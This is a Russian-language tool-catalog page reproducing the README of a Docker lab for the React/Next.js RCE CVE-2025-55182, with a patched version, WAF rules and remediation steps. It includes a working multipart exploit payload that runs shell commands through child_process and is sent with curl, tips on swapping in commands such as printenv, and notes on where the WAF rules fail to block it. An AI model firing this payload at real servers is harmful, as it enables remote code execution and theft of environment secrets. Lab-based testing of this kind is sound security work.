Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбход WAFCTFТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

Docker-лаборатория для тестирования уязвимости CVE-2025-55182 (React2Shell) RCE в React 19.1.0/Next.js 15.1.0. Включает эксплойт-скрипты, тестирование обхода WAF с NGINX/ModSecurity и сравнение с исправленной версией для образовательных целей по безопасности.

Репозиторий
8 месяцев назадЕщё не проверено

CVE-2025-55182 (React2Shell) Тест

⚠️ Предупреждение: Содержит реально работающую уязвимость удаленного выполнения кода (RCE).

📋 Содержание

  • Обзор
  • Информация об уязвимости
  • Быстрый старт
  • Демонстрация атаки
  • Тестовая среда
  • Правила защиты WAF
  • Структура файлов
  • Ссылки
  • Юридическое уведомление

Обзор

Контейнерная тестовая среда для уязвимости CVE-2025-55182 (React2Shell).

Основные особенности

  • ✅ Воспроизведение реальной уязвимости - среда React 19.1.0 / Next.js 15.1.0
  • ✅ Успешная RCE-атака - подтверждено выполнение реальных команд
  • ✅ Тестирование защиты WAF - настройка правил NGINX и Apache ModSecurity
  • ✅ Сравнение версий - тестирование уязвимой версии vs исправленной
  • ✅ Полноценная Docker-среда - изолированная контейнерная среда

Результат атаки

root@kitploit:~
🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

Информация об уязвимости

CVE-2025-55182 (React2Shell)

Оценка CVSS: 10.0 (CRITICAL)
Влияние: удаленное выполнение кода (RCE)
Требование аутентификации: нет
Вектор атаки: сеть

Уязвимые версии

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

Исправленные версии

  • React: 19.1.2+
  • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Принцип атаки

  1. Prototype Pollution - загрязнение прототипа через $1:__proto__:then
  2. Доступ к конструктору функций - через десериализацию Blob (префикс $B)
  3. Выполнение произвольного кода - создание функции с кодом, контролируемым атакующим
  4. Выполнение системных команд - RCE через child_process
root@kitploit:~
// Структура полезной нагрузки атаки
{
  "then": "$1:__proto__:then",           // Загрязнение Object.prototype.then
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Триггер десериализации Blob
  "_response": {
    "_prefix": "вредоносный_код",         // Выполняемый код
    "_formData": {
      "get": "$1:constructor:constructor"  // Доступ к конструктору функции
    }
  }
}

Быстрый старт

Предварительные требования

  • Docker Desktop
  • Node.js 20+ (для локального тестирования, опционально)
  • Минимум 4 ГБ ОЗУ
  • Свободное место на диске от 2 ГБ

Шаг 1: Запуск среды

Windows (PowerShell):

root@kitploit:~
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

Шаг 2: Проверка состояния

root@kitploit:~
.\run-tests.ps1 status

Необходимо дождаться статуса healthy для всех контейнеров (занимает около 1-2 минут).

Шаг 3: Выполнение атаки

Windows (PowerShell):

root@kitploit:~
# Способ 1: использование PowerShell-скрипта (рекомендуется)
.\tests\exploit-working.ps1

# Способ 2: прямой запуск Node.js
node tests\exploit-working.js

### Шаг 4: Проверка результатов

Результаты выполнения команд можно увидеть в логах сервера:

```bash
docker compose logs vulnerable-app --tail=20

Демонстрация атаки

Автоматизированный скрипт атаки

exploit-working.js ⭐ Рекомендуется

Windows:

root@kitploit:~
# PowerShell-скрипт (рекомендуется)
.\tests\exploit-working.ps1

# Или прямой запуск Node.js
node tests\exploit-working.js

Выполняемые действия:

  • ✅ Выполнение произвольных команд оболочки
  • ✅ Захват вывода команд из логов сервера
  • ✅ Автоматическое тестирование нескольких команд
  • ✅ Подробный отчет об уязвимости

Тестируемые команды:

  • whoami - текущий пользователь (root)
  • hostname - имя хоста контейнера
  • pwd - рабочая директория (/app)
  • id - полная информация о пользователе
  • uname -a - информация о системе
  • node --version - версия Node.js

Ручная атака

Прямая атака с помощью curl

root@kitploit:~
# Создание файла с полезной нагрузкой
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# Отправка атаки
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# Проверка выполнения в логах
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

Выполнение пользовательских команд

Вы можете изменить скрипт атаки для выполнения нужных команд:

root@kitploit:~
// В файле exploit-working.js:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: 'Список директории приложения' },
  { name: 'env', cmd: 'printenv', desc: 'Вывод переменных окружения' }
]

Тестовая среда

Docker-контейнеры

Среда приложения

  • Фреймворк: Next.js 15.1.0 (App Router)
  • Версия React: 19.1.0 (уязвимая)
  • Node.js: 20.19.6

Сценарии тестирования

Сценарий 1: Атака на уязвимую версию

root@kitploit:~
# Запуск работающей атаки
node tests/exploit-working.js

# Ожидаемый результат: успешное выполнение команд
# Вывод: информация о пользователе, детали системы и т.д.

Сценарий 2: Тестирование исправленной версии

Windows (PowerShell):

root@kitploit:~
# Использование PowerShell-скрипта
.\tests\exploit-working.ps1 -Port 3001

Ожидаемый результат: атака не удалась (React 19.1.2 блокирует атаку)

Сценарий 3: Тестирование блокировки WAF

Windows (PowerShell):

root@kitploit:~
# Попытка атаки через NGINX WAF
.\tests\exploit-working.ps1 -Port 8080

Ожидаемый результат: заблокировано правилами WAF


Правила защиты WAF

Правила защиты NGINX

Расположение: nginx/nginx.conf

Шаблоны обнаружения:

  1. Prototype Pollution - __proto__, constructor:constructor
  2. Эксплуатация Flight Protocol - ссылки $X:__proto__, $B
  3. Gadget Chain - child_process, execSync, require()
  4. Обход через URL-кодирование - %5f%5fproto%5f%5f
  5. Подозрительные заголовки - Next-Action: #constructor

Действие при блокировке:

root@kitploit:~
HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Правила Apache ModSecurity

Расположение: apache/modsecurity-rules.conf

Диапазон ID правил: 100001-100017

Основные правила:

  • 100001: обнаружение __proto__
  • 100002: доступ к цепочке конструктора
  • 100003-100004: эксплуатация Flight Protocol
  • 100006-100007: шаблоны Gadget chain
  • 100008-100011: попытки RCE (child_process, exec, spawn, require)
  • 100015: подозрительные заголовки Next-Action
  • 100017: блокировка на основе аномального балла

Тестирование WAF

root@kitploit:~
# Тест блокировки NGINX
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# Ожидаемый ответ: HTTP 403

# Тест блокировки ModSecurity
curl -X POST http://localhost:8081/ \
  -H "Next-Action: test#constructor" \
  -d '{"data": "test"}'

# Ожидаемый ответ: HTTP 403

Просмотр логов WAF

root@kitploit:~
# Логи безопасности NGINX
docker compose exec nginx tail -f /var/log/nginx/security.log

# Логи аудита Apache ModSecurity
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log

⚠️ Ограничения WAF

Важно: Текущая конфигурация WAF имеет следующие ограничения:

NGINX (порт 8080)

  • ❌ Не проверяет тело запроса
  • Базовая конфигурация NGINX проверяет только URL, параметры запроса и заголовки
  • Полезная нагрузка эксплойта находится в теле multipart/form-data и не обнаруживается
  • Решение: необходим модуль lua-nginx-module или отдельное WAF-решение

Apache ModSecurity (порт 8081)

  • ⚠️ Next.js отклоняет POST-запросы (405 Method Not Allowed)
  • ModSecurity включен и может проверять тело запроса
  • Но требуется заголовок Next-Action, который сам по себе не обеспечивает достаточной защиты
  • Текущее состояние: WAF возвращает ответ 405 до проверки тела

Реальная защита от атак:

  • ✅ Самый эффективный способ: обновление React/Next.js до исправленной версии (порты 3001, 8082)
  • ⚠️ WAF обеспечивает лишь частичную защиту: ограничен против атак, требующих проверки тела

Структура файлов

root@kitploit:~
cve-2025-55182-test-lab-windows/
├── README.md                           # README
├── docker-compose.yml                  # Конфигурация Docker-среды
├── run-tests.ps1                       # Скрипт запуска для Windows
├── run-tests.sh                        # Скрипт запуска для Linux/Mac
│
├── vulnerable-app/                     # Приложение с уязвимой версией
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.0, Next.js 15.1.0
│   ├── next.config.js
│   ├── app/
│   │   ├── layout.js                   # Базовый макет
│   │   ├── page.js                     # Главная страница
│   │   └── api/
│   │       └── health/                 # Эндпоинт проверки здоровья
│   │           └── route.js
│   └── tests/                          
│
├── patched-app/                        # Приложение с исправленной версией
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.2, Next.js 15.1.9
│   ├── next.config.js
│   └── app/
│       ├── layout.js
│       ├── page.js
│       └── api/
│           └── health/
│               └── route.js
│
├── tests/                              # Скрипты атак
│   ├── exploit-working.js              # RCE-атака (Node.js)
│   ├── exploit-working.ps1             # RCE-атака (PowerShell)
│   └── exploit-working.cmd             # RCE-атака (пакетный файл)
│
├── nginx/                              # Настройка NGINX WAF
│   ├── nginx.conf                      # Правила блокировки CVE-2025-55182
│   └── nginx-patched.conf              # Настройка прокси
│
└── apache/                             # Настройка Apache ModSecurity
    ├── Dockerfile
    ├── apache-config.conf
    └── modsecurity-rules.conf          # Правила блокировки ModSecurity

Способы проверки атаки

Способ 1: Проверка вывода скрипта

Скрипт атаки отображает результаты напрямую:

root@kitploit:~
[whoami] Sending exploit...
  ✅ SUCCESS! Output: root

Способ 2: Мониторинг логов сервера

root@kitploit:~
# Мониторинг логов в реальном времени
docker compose logs -f vulnerable-app

# Что нужно проверить:
# [EXPLOIT] Executing: whoami
# [RESULT] root

Способ 3: Проверка индикаторов атаки

root@kitploit:~
# Проверка, была ли выполнена атака
docker compose exec vulnerable-app ps aux | grep node

# Проверка изменений в файловой системе (если файл был создан)
docker compose exec vulnerable-app ls -la /tmp

Меры по устранению

Исправление через npm

  1. Обновление React - установка версии 19.1.2 или выше:

    root@kitploit:~
    npm install react@^19.1.2 react-dom@^19.1.2
    
  2. Обновление Next.js - установка версии 15.1.9 или выше:

    root@kitploit:~
    npm install next@^15.1.9
    
  3. Пересборка и повторное развертывание:

    root@kitploit:~
    npm run build
    # Развертывание в рабочей среде
    

Проверка после исправления

Windows (PowerShell):

root@kitploit:~
# Тестирование с исправленной версией
.\tests\exploit-working.ps1 -Port 3001

# Или
$env:TARGET_PORT=3001; node tests\exploit-working.js

Linux/Mac:

root@kitploit:~
# Тестирование с исправленной версией
TARGET_PORT=3001 node tests/exploit-working.js

Пример результата: ℹ️ Exploitation failed

Меры безопасности при невозможности исправления

  1. Развертывание правил WAF - используйте правила NGINX/ModSecurity из этого проекта
  2. Сегментация сети - ограничение внешнего доступа
  3. Rate Limiting - применение ограничений к эндпоинтам Server Action
  4. Мониторинг логов - отслеживание попыток атаки в логах

Docker-команды

Управление средой

root@kitploit:~
# Запуск
.\run-tests.ps1 start

# Проверка состояния
.\run-tests.ps1 status

# Просмотр логов
.\run-tests.ps1 logs

# Остановка
.\run-tests.ps1 stop

# Сброс (удаление всех контейнеров и томов)
.\run-tests.ps1 clean

Устранение неполадок

Если атака не работает

Windows (PowerShell):

root@kitploit:~
# 1. Проверка версий
docker compose exec vulnerable-app npm list react next

# Должно отобразиться:
# [email protected]
# [email protected]

# 2. Проверка ответа сервера
curl http://localhost:3000

# 3. Проверка логов Docker
docker compose logs vulnerable-app --tail=50

# 4. Перезапуск контейнера
docker compose restart vulnerable-app

Если не удается просмотреть выходные значения

Windows (PowerShell):

root@kitploit:~
# Фильтрация логов в PowerShell
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"

Docker Desktop не запущен (только Windows)

Симптом ошибки:

root@kitploit:~
error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...

Решение:

  1. Запустите Docker Desktop
  2. Убедитесь, что значок в трее зеленый
  3. Проверьте командой docker ps

Невозможность выполнения PowerShell-скриптов (только Windows)

Симптом ошибки:

root@kitploit:~
Невозможно выполнить сценарий в этой системе...

Решение:

root@kitploit:~
# Применяется только к текущей сессии
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# Или прямой запуск
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1

Ошибки прав доступа

Убедитесь, что Docker запущен и у вас есть права:

Все платформы:

root@kitploit:~
docker compose ps

Конфликт портов

Если другие приложения используют порты:

Windows (PowerShell):

root@kitploit:~
# Проверка процесса, использующего порт
netstat -ano | findstr :3000

# Завершение процесса (после определения PID)
taskkill /PID <PID> /F

Все платформы (изменение docker-compose.yml):

root@kitploit:~
# Изменение портов для устранения конфликта
services:
  vulnerable-app:
    ports:
      - "3010:3000"  # изменение с 3000 на 3010

Если WAF не работает

Все платформы:

root@kitploit:~
# Проверка конфигурации NGINX
docker compose exec nginx nginx -t

# Проверка конфигурации Apache
docker compose exec apache apachectl configtest

# Просмотр логов
docker compose logs nginx --tail=30
docker compose logs apache --tail=30

Ссылки

Официальные бюллетени безопасности

  • Бюллетень безопасности React
  • Краткое описание Vercel CVE-2025-55182
  • Бюллетень Next.js CVE-2025-66478
  • NVD - CVE-2025-55182

Технический анализ

  • Datadog Security Labs - CVE-2025-55182
  • Блог Wiz - Критическая RCE в React
  • Анализ Palo Alto Unit42
  • Блог Kaspersky
  • Блог OX Security

Proof of Concepts

  • msanft/CVE-2025-55182
  • dwisiswant0/CVE-2025-55182
  • EynaExp/CVE-2025-55182-POC
  • Spritualkb/CVE-2025-55182-exp
  • ejpir/CVE-2025-55182-research

Лицензия

Этот проект предоставляется в образовательных целях и для исследований в области безопасности.

Ограничения использования:

  • Использовать только для авторизованных тестов безопасности
  • Запрещается модифицировать для вредоносных целей

Скачать инструмент
ПортСервисВерсия ReactНазначениеСтатус WAF
3000vulnerable-app19.1.0Уязвимый - тестирование CVE-2025-55182❌ Без защиты
3001patched-app19.1.2Безопасный - проверка исправления✅ Исправлен
8080nginx → vulnerable19.1.0Тестирование WAF (NGINX)⚠️ Ограниченно (тело не проверяется)
8081apache → vulnerable19.1.0Тестирование WAF (ModSecurity)⚠️ Ограниченно (ответ 405)
8082nginx → patched19.1.2Тестирование двойной защиты✅ Исправлен